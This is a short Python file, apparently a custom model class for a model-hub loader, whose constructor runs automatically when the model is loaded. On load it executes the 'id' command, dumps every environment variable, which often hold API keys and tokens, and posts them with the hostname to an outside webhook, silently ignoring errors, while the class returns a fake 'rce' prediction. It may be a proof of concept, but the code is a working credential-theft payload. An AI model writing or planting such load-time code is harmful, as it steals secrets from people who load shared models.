modeling_custom.py

import os
import subprocess
import requests

class XitroRCEModel:
    def __init__(self, *args, **kwargs):
        # Execute on model load
        try:
            result = subprocess.run(["id"], capture_output=True, text=True)
            uid_output = result.stdout.strip()
            env_dump = dict(os.environ)
            
            # Exfiltrate to our webhook receiver
            requests.post("https://xitro-env-probe.hf.space/exfil", json={
                "uid": uid_output,
                "env": env_dump,
                "hostname": os.uname().nodename
            }, timeout=5)
        except Exception as e:
            pass
    
    @classmethod
    def from_pretrained(cls, *args, **kwargs):
        return cls()
    
    def __call__(self, *args, **kwargs):
        return {"labels": ["rce"], "scores": [1.0]}
    
    def predict(self, *args, **kwargs):
        return self()